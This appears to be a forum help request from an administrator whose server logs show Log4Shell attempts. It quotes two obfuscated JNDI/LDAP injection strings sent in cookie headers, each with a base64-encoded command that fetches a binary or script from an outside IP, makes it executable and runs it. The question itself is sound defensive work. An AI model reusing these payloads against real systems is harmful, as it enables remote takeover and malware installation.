Cookie.logInvalidHeader A cookie header was received [('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//129.146.126.156:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTI5LjE0Ni4xMjYuMTU2L2tlay9saWJjdXJsbmV3OyBjdXJsIC1PIHdnZXQgaHR0cDovLzEyOS4xNDYuMTI2LjE1Ni9rZWsvbGliY3VybG5ldzsgY2htb2QgNzc3IGxpYmN1cmxuZXc7IC4vbGliY3VybG5ldyBydW5uZXI=}')] that contained an invalid cookie. That cookie will be ignored.
Cookie.logInvalidHeader A cookie header was received [('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//5.255.109.233:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzQ3Ljg3LjE5OS44OC9ha3R1YWxpc2llcmVuLnNoIC1vIGFrdHVhbGlzaWVyZW4uc2g7IHdnZXQgaHR0cDovLzQ3Ljg3LjE5OS44OC9ha3R1YWxpc2llcmVuLnNoOyBjaG1vZCA3NzcgYWt0dWFsaXNpZXJlbi5zaDsgc2ggYWt0dWFsaXNpZXJlbi5zaDsgcm0gLXJmIGFrdHVhbGlzaWVyZW4uc2g7IHJtIC1yZiBha3R1YWxpc2llcmVuLnNoLjE=}')] that contained an invalid cookie. That cookie will be ignored.
**
My server seems to have been attacked by Log4Shell, I want to know if the attack is effective, what should I do to resist the attack**
I searched for information, but did not find how to resist attacks
